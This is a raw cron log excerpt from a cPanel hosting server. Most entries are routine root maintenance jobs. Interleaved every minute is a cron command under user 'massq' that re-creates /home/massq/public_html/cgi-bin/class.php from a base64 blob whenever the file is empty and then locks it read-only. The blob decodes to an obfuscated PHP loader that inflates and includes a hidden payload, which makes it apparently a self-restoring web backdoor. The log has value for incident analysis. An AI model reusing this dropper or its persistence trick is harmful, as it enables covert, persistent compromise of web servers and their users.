"$fp")
Sep  4 00:04:01 server CROND[18430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:05:01 server CROND[18886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:05:01 server CROND[18891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:05:01 server CROND[18893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:05:01 server CROND[18889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:05:01 server CROND[18894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:05:01 server CROND[18892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:05:01 server CROND[18888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:05:01 server CROND[18890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:06:01 server CROND[19826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:06:01 server CROND[19827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:06:01 server CROND[19828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:07:02 server CROND[20202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:07:02 server CROND[20203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:07:02 server CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:08:01 server CROND[20560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:08:01 server CROND[20561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:08:01 server CROND[20562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:09:01 server CROND[20949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:09:01 server CROND[20950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:09:01 server CROND[20951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 00:09:01 server CROND[20952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:10:01 server CROND[21371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:10:01 server CROND[21372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:10:01 server CROND[21376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:10:01 server CROND[21383]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:10:01 server CROND[21385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:10:01 server CROND[21384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:10:01 server CROND[21386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:10:01 server CROND[21387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:11:01 server CROND[22314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:11:01 server CROND[22315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:11:01 server CROND[22316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:12:01 server CROND[22707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:12:01 server CROND[22709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:12:01 server CROND[22708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:12:01 server CROND[22710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:13:01 server CROND[23245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:13:01 server CROND[23246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:13:01 server CROND[23247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:14:01 server CROND[23614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:14:01 server CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:14:01 server CROND[23616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:15:01 server CROND[23992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:15:01 server CROND[23993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:15:01 server CROND[23995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:15:01 server CROND[24004]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 00:15:01 server CROND[24011]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:15:01 server CROND[24013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:15:01 server CROND[24018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:15:01 server CROND[24017]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 00:15:01 server CROND[24015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:15:01 server CROND[24016]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 00:16:01 server CROND[24940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:16:01 server CROND[24941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyo